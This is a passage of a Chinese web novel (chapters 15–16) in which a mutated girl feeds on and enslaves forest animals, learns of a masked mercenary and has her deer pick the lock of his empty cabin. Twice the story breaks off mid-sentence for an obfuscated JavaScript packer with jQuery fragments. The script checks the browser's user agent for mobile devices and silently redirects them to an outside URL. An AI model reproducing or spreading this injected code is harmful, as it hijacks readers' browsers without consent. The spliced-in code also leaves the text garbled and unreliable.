她从“鹿”银色的眼睛里看出了这样的信息。
15.第 15 章
“真的要吃么?”
虽然肚子很饿,但是要抱着一头活生生的鹿抽血还是太奇怪了。
就在茜茜看着麻痹的猎物犹豫不决的时候,“鹿”主动垂下脖子,用脑袋将同伴用力往她的方向推了推。
鲜活的血肉越靠越近,女孩的肚子忍不住制造出一阵“咕咕”的动静,而背后那些银白节肢则像感受到昆虫靠近的捕虫堇,它们轻轻颤动、蓄势待发摆出了攻击姿势。
这可不行,变异的鹿有一头就够她受了!
这身体干坏事的时候很方便,想要文明点却很难。茜茜振奋精神,努力压制住蠢蠢欲动的节肢。
没事的茜茜,你能做到的!这感觉就像人紧张时会无意识咬紧牙齿,只要深深吸气、吐气,想象把牙关慢慢打开就好。
她暗自鼓励自己,几次呼吸后,蠢蠢欲动的节肢终于缩回背部,取而代之的是掌心正中伸出一节细细藤蔓。
它通体洁白、滑腻柔软在阳光下泛着柔和的光泽,扁椭圆状的身形如同一截名贵的丝绸缎带,看起来很像是帕西菲克斯先前帮她治疗伤口的那种触足。
这轻薄的纱带缓缓缠住猎物惊恐的双目,竟然真的有效缓解了它的不安,让它的颤抖减轻了许多。
等到丝带顺势滑向它脖颈,如被体温融化的冰条一样“渗进”它的动脉时,鹿已经彻底放松身体,像睡着一样平静下来。
用这个就不会失手杀掉它了吧,还有明明都是抽血,为什么它的伤口处没有出现金色的分泌物?眼睛也没有变色?
不过或许是件好事,万一接触她□□的生物都会产生变异,那她的潜伏生活可就有大麻烦咯。
茜茜抱起鹿的脖子,把它沉甸甸的脑袋放在膝盖上,仔细地打量它的伤口。
若是不知道实际情况,从远处看倒真像一幅林中仙女的画面。
只不过这静谧美丽的场景并未持续太久。
旁边的“鹿”见她接受了自己的供养便不再催促。起初,它安静地待在一旁,像一尊精致的蜡像。然而当茜茜把猎物抱在怀里,慢慢抚摸它的皮毛时,“鹿”却以肉眼可见的速度焦躁了起来。
它将蹄子在地上狠狠刨了几下,然后愤怒地甩动脖子,在茜茜背上“咚咚”撞了两下,好像在质问“为什么我当初没这个待遇?!”
哎呀!一回生二回熟,她刚开始哪里知道要怎么做嘛?!
吃人嘴软,再说它打起人来不痛不痒,作为残害它的罪魁祸首,茜茜并没有还手。她一边嫌弃地把“鹿”的脑袋往外推,一边嘀嘀咕咕辩解道:“好了好了,我不吃了我不抱了!走开!别再用你那个愚蠢的长脖拍我了!”
为了区分这些特别的小动物,也为了纪念第一只成功转换的仆从,茜茜在心里给“鹿”起了个足以彰显其新特色的名字“扭扭”。
“对了,你知道水源在哪里么?我身上脏兮兮的,该洗漱一下了,而且你们也可以吃点东西补充一下。”
“丝带”抽离时,分泌的奶白汁液让鹿的伤口迅速凝血了,但没有改造它的身体,给它前辈“扭扭”一样特殊的变形能力。于是它就像位贫血头晕的病患,走起路来摇摇晃晃的。
茜茜打算带他们去记忆里出现过的,灌木丛生的溪流附近试试运气。
跟用嘴吃饭相比,用“吸管”吮吸血液是一种前所未有的体验。
她只能说鹿抱起来很暖和,闻起来有一种很淡的甜味,有点像剥开玉米表皮时嗅到的味道,带了一点草木的香味。
虽然不难吃,但要是有可能,茜茜还是试试正常美少女该吃的水果,比如甜美多汁的树莓。
她们运气不错,溪流边正好有几丛硕果累累的灌木。被茜茜抽了不少血、饥肠辘辘的可怜蛋几乎立刻就把头埋了进去,而茜茜也从中选了几枚最漂亮的果子,期待地送入口中。
嗯,她还没有失去人类的味觉,能尝出酸甜的果味。但等它们落入胃袋,就好像泥牛入海消失得无影无踪,并未带来茜茜期望的温暖与满足。
中看不中用的小东西,看来接下来茹毛饮血的日子会要比她预想的长一些。
摘掉青涩的绿梗,树莓就成了中空的玫红小碗,茜茜把它们依次倒扣在指尖上,想象那是最新款式的美甲。
每年夏天这个时候,她都会把指甲染成甜美的草莓冰沙色,可现在呢?望着童年时期短小可爱的手指头,茜茜不满地瘪起嘴巴,忍不住长吁短叹起来。
见她并没有专心进食,反倒无聊地拿着食物取乐。
扭扭抖抖耳朵,从灌木中抬起了脑袋。只不过它嘴角并非浆果殷红的汁水,而是昆虫颤抖的细足,随着它咀嚼的动作“咔咔”作响。
真可怜,它和自己一样,也变成了急需蛋白质的奇怪物种。
迎着茜茜同情的目光,扭扭平静地咽下最后一口虫子。接着它如法炮制,扬起蹄子,从腐烂的木头下挖出更多肥美的昆虫。
只是这次扭扭没有把它嚼碎咽进肚子,而是挑起一只细长的多足虫,缓缓走到清澈的溪流边,耐心地垂下了脖子。
不过一会儿工夫,一条肥美的鳟鱼便被扭扭锋利的口器扎穿。
它在空气中划过一道闪亮的银光,水花甩向围观的茜茜身边,惹得五谷不勤的女明星发出一阵大惊小怪的尖叫,像炸毛的猫一样跳了起来:“噫!别甩过来!太臭了,我讨厌鱼腥味!而且滑溜溜、感觉好恶心!”
“拜托,不说椒盐烟熏,至少给我刮掉鳞,挑好刺再好好端上来吧?这么粗暴,水都要溅到我身上了!”
扭扭原地沉默了一会儿,它先是从鼻子重重喷出一口粗气,摆出了一副“爱吃不吃”的样子,再用力甩开脖子,扭到一边重新钓起鱼来。
等它先填填肚子,再给她找下一个受害者吧!
保持着你一条,我一条的分鱼规则。
扭扭时不时就会刺上几条新的鱼扔过来,尽管茜茜不肯碰脚边堆叠的鱼群,但这林子里不乏觅食的猎手。不一会儿,浓重的鱼腥味便让小溪迎来了新的访客——一只体型庞大、气喘吁吁的黑熊。
真稀奇,她原来只在动物园见过这种大家伙。
茜茜立刻直起身子,迫不及待地对它摆动手掌,发出“嘬嘬嘬”的呼唤声:“嗨,大块头,你肚子饿了么?想吃点鱼么?快过来,让我摸一下,再表演个作揖鞠躬就送给你。”
两头成年没多久,连角都没长大的鹿,一只还不到胸口的“无毛猴子”。无论怎么观察,这个组合都毫无威胁可言。
尽管它之前见过类似的“无毛猴子”,他手里亮闪闪的“石块”发出刺眼的光芒,炸开了它脚边的土堆,险些要了它的性命。但这个娇小的雌性并没有类似的武装,只要赶走他们,抢到鱼就行了。
黑熊发出一声雄壮的低吼,信心满
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16568300|186674||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
满地走了过来。
在它张嘴示威的那刻,银白色的触足径直探入黑熊温热的喉咙,金色的的液体如融化的蜡液,缓慢覆盖它的双眼。
一分钟后,茜茜惬意地靠在漆黑的皮毛靠垫上,心满意足地喟叹道:哎,不愧是故事书里吃蜂蜜的小动物,熊尝起来可比树莓甜多了。
看来体型越大,大脑发育更完整的生物尝起来会更甜,转换成仆从的可能性也更高。
虽然茜茜不愿意承认,但“扭扭”确实是个聪明的家伙,尽管尝起来味道一般,可针对她的提问,它脑子里浮现的画面甚至比这头大笨熊清晰不少。
“你是说你之前在山上见过除我以外的人类,就住在山下?真有意思。”
以一条节肢为交换,茜茜见到了逃亡后第一个人类——画面里的男人身穿一件黑色的紧身短袖,深棕色的尼龙腰带下是一条卡其色的军装裤。
从黑熊的视角来看,他身材高大、气势磅礴强壮得不可思议,宽阔饱满的胸肌看起来马上就会撑破那件T恤,迈步时,军绿色的马丁靴就像装甲车的履带,把枯枝树叶碾成碎屑。
除此之外,最引人注目的要数男人脸上的金属面具。两簇尖尖的、酷似猫耳的羽状凸起,眼眶处一对圆而大的金色电子眼,再加上遮住嘴唇的小巧鸟喙——哦,这居然是个猫头鹰面具。
神秘灵巧的鸟头套在接近两米、攻城锤一样的身体上,居然有种怪诞的性感。
他可真像经典恐怖电影里的变态杀人魔,幼时因为高大畸形的身体饱受同龄人欺凌,长大后再把身体当作绝佳的复仇武器,专门猎杀那些来废弃营地找刺激的愚蠢青少年。
由于这副备受争议的身体,茜茜收到过不少部改造怪人的电影,出于某种恶意,给她的选角还是第一个死、并被怪人缝合的七零八落的金发拉拉队员,她都快要把剧本背烂了!
然而令人失望的是,无论是扭扭还是黑熊,它们记忆里均没有出现茜茜想象的血腥猎杀画面。
这个神秘的独行侠进山最常做的一件事居然坐在苔藓遍布的空地对着小溪发呆。天啊,这不是那些失意的中年男人才有的习惯么?
除了那副金属面具,男人还有一层伪装,鸟喙下的嘴唇到下巴皮肤全被黑色的战术面罩遮得严严实实。一般“注重隐私”到这种地步的,除了变态杀人魔就是私人军事公司那些个性强烈的佣兵。
而黑熊记忆中,在“咔”的响亮上膛声后,发射出铁雨般石子,粉碎树桩的“长条树枝”,看起来确实有点像“破门手”平时爱用的□□。
这也合理,出生入死的雇佣兵难免会有些千奇百怪的心灵创伤,需要在任务间隙进山疗养。茜茜真心希望他身上除了枪,还有这片区域的地图,还有辆能启动的车子。
为了保证生态环境,这种森林周围都会圈上一层隔离用的铁网,大型动物有自己的活动范围,若非特殊情况不会入侵人类的居所,所以这只熊也没有贸然跟踪猎人的足迹。
不知道能不能再想办法逮到一只鸟,善于飞行的它们活动单位要更大一些,说不定能帮助她找到有关人类的线索。
“你也吃饱了吧?给我抓一只鹰之类吃肉的大鸟过来。”
“万一真是个隐居的退役军人,我还得避着点他的行动路径。”
等到时机成熟,她茜茜就要想办法去当那个私闯民宅的疯狂青少年了!
16.第 16 章
这片原始森林比茜茜想象中大上不少,单凭两条腿根本没法在一天内弄清方向,绕了许久硬是没找佣兵的足迹。
至于翅膀?它早在降临森林的第一夜便消失的无影无踪,连它凝结而成的“虫茧”也在转换动物后消失了。
如今,使用“触足”猎食已经是这具缩水的身体的极限。
落地时,后背共计八条银色节肢用一次少一次,随之降低的还有茜茜的体能。没了方舟来路不明的“营养剂”,她的能力正缓慢恢复到普通人的标准——
回溯到九岁那年,所有器官因为“蜂鸣症”慢慢衰竭,直到长眠不醒。
觅食的重担被交到了左右手的黑熊甜心以及小鹿扭扭手上。
而神秘佣兵储备的武器数量未知,为了确保安全,茜茜这几天少食多餐,饿了就从跟班身上抽取定额的血液,渴了就啜饮清澈的溪水,尽量保持着清醒的半饥饿状态。
至于这样茹毛饮血、风餐露宿会不会有卫生问题?
患上蜂鸣之后,茜茜就没生过其他病,现在她的血液都成了可以腐蚀金属的酸液,就更不担心普通寄生虫感染了。
她在森林湿冷的夜晚,睡在黑熊浓密温暖的毛发中,一手抱住甜心粗壮的手臂,头下枕着扭扭柔软的脖子,沉默地倾听猫头鹰“咕咕咕”的吟唱,感受到无数生物在夜色中活跃,发出窸窸窣窣的声响。
良好的夜视能力足以让她数出这些昆虫具体的节肢数量,但有时候她宁愿不要看这么清楚。
没事的,没事的。
这些虫子不会趁她睡着咬破她的皮肤,钻进她的血肉,它们碰到血就会烂掉!再说,现在她才是最大的“虫子”,所以没事,快睡吧……
茜茜既害怕会一睡不醒,但这种时候又困倦而已,不得不睡。她最终哼起了母亲曾经安抚自己的,有关“星星”的歌谣。
她在自我安慰中沉沉入睡,对人类文明的向往也愈发强烈。
小溪成了茜茜最近常去的地方,她每天起床都要用溪水认真地搓洗自己,至于平时跟班吃剩的鲱鱼、野兔又或是土拨鼠之类的骸骨,也被茜茜勒令“不许弄脏家里”,尽数埋到了树莓丛下。
破坏自然的人类应该在死后把力量归还给星球——这是“生命之树”反对“蜂鸣”治疗计划时的口号。
“蜂鸣”患者的身体会在断气的那刻释放出大量热量,孢子繁殖般散开的烟雾强烈的毒性会感染周围所有活人。
但尸体腐烂的速度也是出奇的快,那种特殊的□□在恢复植被上有着不可思议的力量,有报道称他因病去世的祖母的坟墓在一个月后,开出了十年前就宣告灭绝的小花。
生命在土地中完成了轮回,由此萌生的植物并不具备灭绝人类的毒性,反倒焕发出无比鲜活的生机。
前一日被折断的枝桠,经过夜露的浇灌,第二天清晨便能结出淡青色的花苞,然后第三天傍晚,鲜红的果实便会羞赧地垂下头颅。
等到这些迅速的生长的浆果散发出甜美的香气,成为了吸引食草动物的绝佳诱饵。
指望不上笨手笨脚的大黑熊,本着能者多劳的原则,捉鹰这种精细活最后自然地落在了老员工扭扭身上。
但凡有基本认知能力的生物,在从诱饵中抬头的那刻,看见一只将腹部压低乃至紧贴草皮,四肢曲折似蜘腿快速移动,“沙沙沙”射向自己的鹿,都会体验到灵魂升天的美妙滋味。
别说胆小的兔子了,他那副脖子疯狂甩动,弹出牛仔套马杆似咬向猎物的血盆大口的样子,连茜茜都不忍直视。
接着,扭扭会在兔子身上留下麻痹神经的毒素,叼住它的后颈,把它扔到有鹰出没的空旷地带。
不到半天,这跌跌撞撞爬行的毛绒小肉块就帮助茜茜引来了目标,一只棕羽的大型苍鹰。
当它用利爪划开灰兔毛皮,低头啜饮猎物鲜血之时,毒素快速传递,短短秒,捕猎地位迅速翻转。
“别紧张,小可爱,等我问你几个问题,你就自由了。”
柔韧的银白触足从茜茜身后探出,绕着苍鹰的胸背一圈,把它严严实实捆了起来,薄薄的轻纱蠕动着,分出无数细小的丝线,钻入苍鹰金色的眼眸——
莫约两天前,觅食中的鹰听到了“轰隆隆”的雷鸣声。
苍鹰警惕地追踪威胁来源,发现居住在林中小屋的男人启动了他那辆坚硬的怪东西,向北方行驶而去。在那之后的夜晚,他的窗户再也没有亮起过光源。
如果茜茜没记错的话,那个时间正巧是“方舟”向世界宣告她的死讯,然后周边城市“蜂鸣”大爆发的节点。
难道他所处的部队紧急召唤他回去执行秘密任务?G国境内不会也在遭遇类似的生化泄露危机吧?
糟糕的预想让茜茜头皮一阵发麻,不过还没到忧心人类未来的时候,上天可是把绝佳的潜入机会送到她面前了!
不然她想办法在男人面前排练一场黑熊追逐无辜少女的苦情戏,荒郊野岭的,要怎么把最后的触足送进全副武装的雇佣兵体内,光是想想就让茜茜觉得头疼。
“好孩子,辛苦你了。”
这是一只抚育幼崽的雌鹰,结果高频率的猎食成为了她落网的原因。
茜茜向来尊重母亲,她把作为诱饵兔子塞到鹰爪下,就轻轻抽回了触足,并没有要求她加入自己的探险队伍。
……
等夜色降临,一只熊一只鹿带着一个女孩,偷偷摸摸出现在森林的边缘地带。
真简陋,这房子还没有她一个衣帽间大。
作为临时居所的木屋看起来没有太多的安保措施,视野中,只有一个带夜视功能的摄像头正缓慢地转动着,红色的光点追准附近的活动物体。
“滴滴滴——”
茜茜聚精会神盯着这个勤劳的小玩意,直到那细小的声音,被女歌手拆解成简单易懂的节拍,在脑中描绘出一条规律的折线。
音乐也是一类逻辑严密的科学,这段节奏用来表达悲伤,那段旋律代表期待,那现在的拍子预示摄像头轴承的变向。
如果说方舟严密的安保系统是一首恢宏的交响乐章,那这简陋的红外布防就是一首可爱的安睡小曲,茜茜很快就摸准了它的“规则”。
等到摄像头转向一只觅食中的松鼠,茜茜张开双唇,异于常人的软骨在她体内挤压震动,制造出一阵一阵强烈的声波,以不容抗拒的势头,冲入守卫的乐谱。
待镜头边的收音装置发出一缕青烟,摄像头定格在松鼠的位置,“咔哒咔哒”挣扎着却无法移动一厘米,茜茜便大摇大摆走了过去。
她驻足于黄铜门锁之前,考
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16580879|186674||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
虑到这房子是未来的临时居所,并没有着急要求黑熊直接撞开木门,而是垂眸打量起锁眼,奚落道:“真老派,这个年代谁还用机械锁啊?不过这也难不倒我。”
“你们知道么?我之前试镜过那种天才美少女侦探的校园剧,女主是个推理迷,她为了抓住老师包庇奖学金测评作弊的把柄,深夜潜入学校,在档案室门口取下刘海上的小发钱,插进钥匙孔捅了几下门就开了。”
一直以来都被外界戏谑为基因改造的芭比娃娃,方舟集团的漂亮招牌,茜茜头一次接到这种高智商角色,尽管它改变不了她的花瓶风评,茜茜还是珍惜地记住了所有推理细节。
“这时候我们只要找类似细细长长的东西塞进去就行了,等等我,我应该能变个差不多的。”
就在茜茜摩拳擦掌打算在动物朋友面前大显身手的时候,看起来呆呆的扭扭突然从脖颈处伸出两缕细细的银白触足。
好家伙,区区小跟班居然敢以下犯上,抢上司的表现机会。
茜茜冲扭扭眯起眼眸,仔细地观察它的表情,质问道:“既然你能伸出这种小的触手了,为什么刚刚不帮我挑刺?”
扭扭瞪了她一眼,气呼呼地就要把触手缩回去。
但茜茜可不给它任何退缩的机会,她主动捏住它小小的须子,撒娇般地左右晃了又晃,语气半是央求半是命令:“不行!我都看到了,不许偷懒,快想想办法,帮我把门打开啦!”
锁眼里弹簧被按压时的轻响逃不过女孩灵敏的耳朵。
在茜茜的指导下,扭扭飞快地撬开了最后一层防护。
成了!女孩的欢呼声和锁扣松开的声音同时响起。
“哎,上一代人不喜欢我这种影视工作者,他们说年轻人整天围着终端,被灌输了一大堆垃圾信息,最后成为愚蠢的‘电视机儿童’。但瞧瞧你,你这不就从女明星身上学会了精尖开锁技术了吗!”
“快进去看看,还有什么好东西在等着我们!”
茜茜在不吝奖励,她喜出望外地搂住扭扭的脖子,在它脑门上留下响亮的一吻,接着迫不及待地拧开了铜黄色的把手。
人类的文明!
她再也不想过野地风餐露宿的日子了!希望他的屋子里至少有一张舒适的床。
门扉开启的瞬间,室内干燥而阴郁的空气重新开始了流动。
房主残留的生活痕迹无处不在,如此浓烈,仿佛一条留守在家的漆黑巨犬,困顿地来回打转,用蓬松的尾巴焦虑地扫过桌脚椅腿,在重见光明的这刻,迫不及待、以几乎凶狠的势头扑进了茜茜的怀里,将她撞了个满怀。
女孩停在原地,脸上的表情几乎是有点茫然的。
但在意识做出回应之前,她背后的触足以无声探出,做好了“拥抱”的准备。
饥肠辘辘的猎食者总能第一时间分辨出猎物的气息,而那些能被转换的动物,身上的气味总是要甜上一点,茜茜从没想过最合口味的会是一个强壮的成年男人。
好像真的抱住了一只黑色长毛大狗,首先看到的就是那层蜷曲发亮的毛皮,如同苦涩而浓郁的巧克力涂层,但要是抱得再紧些,便能感受到温暖、蓬松的血肉,像是撒了香草籽的松软蛋糕胚。
茜茜忍不住舔动嘴唇,在庆幸他不在的同时,感到了一丝遗憾。